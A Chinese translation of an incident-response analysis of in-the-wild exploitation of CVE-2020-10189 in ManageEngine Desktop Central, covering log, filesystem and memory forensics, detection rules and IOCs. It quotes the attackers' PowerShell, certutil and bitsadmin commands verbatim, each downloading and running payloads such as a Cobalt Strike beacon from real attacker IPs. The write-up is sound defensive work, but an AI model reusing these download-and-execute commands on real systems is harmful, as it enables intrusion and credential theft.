Desktop Central服務(wù)器RCE漏洞在野攻擊分析
0x01 漏洞披露
在研究Desktop Central漏洞的過程中，我們在推特上找到了一位研究人員的帖子，該研究人員于2020年3月5日披露了Desktop Central的RCE漏洞。
Zoho ManageEngine Desktop Central 10允許遠(yuǎn)程執(zhí)行代碼，漏洞成因是FileStorage類的getChartImage中的不可信數(shù)據(jù)反序列化，此漏洞和CewolfServlet，MDMLogUploaderServlet Servlet有關(guān)。
對CVE-2020-10189的研究還顯示，可以在??Shodan??上搜索易受攻擊的Desktop Central服務(wù)器。
在公網(wǎng)發(fā)現(xiàn)的威脅是有可疑的PowerShell下載通訊錄，該通訊錄包含下載文件的說明。
最早威脅活動之一是一些可疑的PowerShell下載命令。該命令包含指令，以下載install.bat并storesyncsvc.dll到C:\Windows\Temp，然后立即執(zhí)行install.bat（圖3）。
cmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/install.bat','C:\Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/storesyncsvc.dll','C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat
esktop Central服務(wù)器RCE漏洞在野攻擊分析圖3-可疑的PowerShell下載命令
該install.bat腳本包含storesyncsvc.dll作為服務(wù)安裝在系統(tǒng)上的說明。（圖4）。
?
?
圖4-Install.bat的內(nèi)容
在運行PowerShell命令后，我們觀察到安裝了服務(wù)名稱StorSyncSvc和顯示名稱為Storage Sync Service（圖5）的新服務(wù)。
?
?
圖5-安裝Storage Sync Service
VirusTotal上的查詢結(jié)果表明，一些檢測引擎已經(jīng)歸類storesyncsvc.dll為惡意軟件。
0x02 利用過程跟蹤識別漏洞利用
此RCE漏洞已于2020年3月5日通過Twitter公開。
回顧Sysmon流程創(chuàng)建事件，表明C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe流程是負(fù)責(zé)執(zhí)行PowerShell Download命令的流程（圖6）。
?
?
圖6-ParentImage負(fù)責(zé)PowerShell的下載
查看內(nèi)存中的進程，我們還觀察到Desktop Central java.exe應(yīng)用程序cmd.exe和2.exe之間的父/子進程關(guān)系（圖7）。
?
?
圖7- java.exe父/子進程關(guān)系
0x03 利用文件系統(tǒng)識別漏洞利用
為了進一步驗證我們的理論，我們將從受影響的Desktop Central服務(wù)器收集的信息與已發(fā)布的POC進行了比較，確定攻擊者可能利用了CVE-2020-10189漏洞在此易受攻擊的系統(tǒng)上運行代碼。
通過文件系統(tǒng)時間軸分析，我們確定遍歷文件寫可能已在具有文件名_chart（圖8）和logger.zip（圖9）的系統(tǒng)上發(fā)生 。
?
?
圖8- _chart文件系統(tǒng)分析
?
?
圖9- logger.zip文件系統(tǒng)分析
這些文件名也在??@Steventseeley???發(fā)布的POC中進行了??引用??（圖10）。
?
?
圖10-POC中對_chart和logger.zip的引用，參考：??https??? : ??//srcincite.io/pocs/src-2020-0011.py.txt??
0x04 引入系統(tǒng)命令
在隨后的流程創(chuàng)建日志中，cmd.exe使用certutil.exe命令來下載和執(zhí)行2.exe（圖11），進一步的分析表明，很有可能 2.exe可能是C2工具Cobalt Strike的一部分。
cmd /c certutil -urlcache -split -f http://91.208.184.78/2.exe && 2.exe
?
?
圖11-Certutil命令
OSINT透露2.exe已被VirusTotal上的多個檢測引擎識別為惡意軟件：??https???：??//www.virustotal.com/gui/file/d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309/details??
利用app.any.run沙箱（圖12）和對惡意軟件的內(nèi)存分析，進一步證實2.exe托管Cobalt Strike Beacon payload的可能性。
?
?
圖12- 2.exe被判定為惡意軟件
我們對已知惡意軟件2.exe所使用的所有內(nèi)存段進行了yara掃描，yara掃描結(jié)果進一步支持了2.exe在其他幾種可能的惡意軟件簽名的理論（圖13）。
?
?
圖13-Yarascan掃描結(jié)果
利用Volatility的惡意插件，我們確定了幾個可能存在代碼注入跡象的內(nèi)存部分，我們對另一個由malfind轉(zhuǎn)儲的內(nèi)存段進行了yara掃描，進一步證實了我們的猜想。
在下面的記錄中可以看到整個過程（圖14）。
（原文中查看完整過程）
圖14-Yarascan驗證結(jié)果
然后，我們檢查了malfind的輸出以獲得代碼注入的證據(jù)，并確定了其中的可疑內(nèi)存部分svchost.exe（圖15）。OSINT的研究使我們找到了一位研究人員，該研究人員對惡意軟件進行了逆向，并找到了負(fù)責(zé)向其中注入代碼的部分svchost.exe（圖16）。
?
?
圖15-對包含注入代碼的svchost的分析
?
?
圖16-@VK_Intel的分析顯示了可能的注入功能
參考：
在攻擊結(jié)束后，我們觀察到了惡意的Bitsadmin命令，其中包含install.bat從66.42.96.220可疑端口12345進行轉(zhuǎn)移的指令。
我們的分析師觀察到，bitsadmin命令正在Desktop Central服務(wù)器上運行，該命令包含在PowerShell下載命令中調(diào)用的相同IP地址，端口和相同的install.bat文件（圖17）。
cmd /c bitsadmin /transfer bbbb http://66.42.98.220:12345/test/install.bat C:\Users\Public\install.bat
?
?
圖17-Bitsadmin命令
0x05 訪問憑證
我們還觀察到了潛在的憑證訪問活動。攻擊者執(zhí)行憑據(jù)轉(zhuǎn)儲的常用技術(shù)是使用惡意進程（SourceImage）訪問另一個進程（TargetImage），最常見的是將lsass.exe作為目標(biāo)，因為它通常包含敏感信息，例如帳戶憑據(jù)。
在這里，我們觀察到SourceImage 2.exe訪問TargetImage lsass.exe（圖18）。Cobalt Strike Beacon包含類似于??Mimikatz的??本機憑證轉(zhuǎn)儲功能，使用此功能的唯一必要條件是攻擊者具有的SYSTEM特權(quán)，以下事件提供了充分的證據(jù)證明憑證訪問的風(fēng)險很高。
?
?
圖18- 2.exe訪問lsass.exe
在對這種入侵進行分析的過程中，我們向Eric Zimmerman的??KAPE???工具添加了一些收集目標(biāo)功能，以將??相關(guān)日志??添加到分類工作中。
工具地址：??https://binaryforay.blogspot.com/2019/02/introducing-kape.html??
針對相關(guān)日志的用法示例：
kape.exe --tsource C: --tdest c:\temp\tout --tflush --target ManageEngineLogs
Sigma項目的Florian Roth創(chuàng)建了一個簽名來檢測攻擊者利用的某些技術(shù)：
我們對該攻擊的分析還發(fā)現(xiàn)，在進程創(chuàng)建日志中基于命令行活動進行檢測將很有價值：
ParentImage | endswith:
'DesktopCentral_Server\jre\bin\java.exe'
CommandLine | contains:
'*powershell*'
'*certutil*'
'*bitsadmin*'
0x06 IOCs
·Storesyncsvc.dll
· MD5: 5909983db4d9023e4098e56361c96a6f
· SHA256: f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c
·Install.bat
· MD5: 7966c2c546b71e800397a67f942858d0
· SHA256: de9ef08a148305963accb8a64eb22117916aa42ab0eddf60ccb8850468a194fc
·2.exe
· MD5: 3e856162c36b532925c8226b4ed3481c
· SHA256: d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309
· 66[.]42[.]98[.]220
· 91[.]208[.]184[.]78
· 74[.]82[.]201[.]8
本文翻譯自：https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/ https://nvd.nist.gov/vuln/detail/CVE-2020-10189#vulnCurrentDescriptionTitle如若轉(zhuǎn)載，請注明原文地址
